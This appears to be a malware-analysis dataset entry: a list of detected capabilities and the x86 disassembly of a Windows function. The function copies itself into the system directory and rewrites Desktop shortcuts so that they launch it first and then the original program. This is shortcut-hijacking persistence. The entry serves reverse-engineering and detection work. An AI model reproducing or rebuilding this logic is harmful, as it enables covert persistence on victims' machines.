Function at 0x401000
Capabilities:
Accept command line arguments
Check if file exists
Copy file
Create process on windows
Create shortcut via ishelllink
Enumerate files on windows
Get common file path
Get file attributes
Get file size
Persist via lnk shortcut
Persist via run registry key
Query or enumerate registry value
Read file on windows
Set current directory
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xdd4
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xdd0], eax
push ebx
push esi
push edi
lea eax, [esp + 0x1c]
mov dword [esp + 0x28], 0x104
push eax
push 1
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40104a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x4bc]
push eax
push 0
push 0
push str.Desktop
push dword [esp + 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x401078
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x4b8]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x104
lea eax, [esp + 0x5c4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [esp + 0x2b4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.LNKnell.exe
lea eax, [esp + 0x2b4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
lea eax, [esp + 0x2b4]
push eax
lea eax, [esp + 0x5c8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0x14]
mov dword [esp + 0x24], 1
push eax
push 0x403180
push 1
push 0
push 0x4031a0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x40131e
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], 0
push 0x403190
mov ecx, dword [eax]
push eax
call dword [ecx]
test eax, eax
js 0x401314
lea eax, [esp + 0x30]
push eax
push str..LNK
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x40130a
nop word [eax + eax]
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0x80
push 3
push 0
push 1
mov dword [esp + 0x20], eax
lea eax, [esp + 0x70]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
cmp edi, 0xffffffff
je 0x401044
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0
mov ebx, eax
lea eax, [esp + 0x30]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test byte [ebx + 0x14], 0x40
je 0x4012dd
push 0x104
lea eax, [esp + 0x9d4]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x68]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x9d0]
push 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
test eax, eax
js 0x4012dd
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x3b8]
push 0x100
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
push str.LNKnell
lea eax, [esp + 0x3bc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x4012dd
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x170]
push 1
push edx
push 0x104
mov ecx, dword [eax]
lea edx, [esp + 0x6d4]
push edx
push eax
call dword [ecx + 0xc]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x38]
push dword [esp + 0x24]
lea eax, [esp + 0x6cc]
push eax
lea eax, [esp + 0xbe0]
push str._s_d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [esp + 0x24]
lea edx, [esp + 0xbe8]
add esp, 0x10
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x2c]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x2b0]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [esp + 0x14]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov eax, dword [esp + 0x14]
push str.LNKnell
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x9d0]
push 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov eax, dword [esp + 0x14]
push 2
push 0
push eax
mov ecx, dword [eax]
call dword [ecx + 0x4c]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [esp + 0xc]
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401150
mov eax, dword [esp + 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [esp + 0x7d4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push str.Hello
lea eax, [esp + 0x7d8]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 0x2a
push eax
mov word [esp + 0x24], ax
lea eax, [esp + 0x7d4]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strchr]
add esp, 8
test eax, eax
je 0x4013cc
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok_s]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x1c], 0
push eax
lea eax, [esp + 0x7d8]
push eax
call edi
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x30]
push eax
push 0
call edi
mov esi, eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x3c]
push eax
push 0
call edi
add esp, 0x24
movsx ecx, byte [eax]
sub ecx, 0x30
push ecx
push 0
push 0
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0xddc]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004013e5
mov esp, ebp
pop ebp
ret 0x10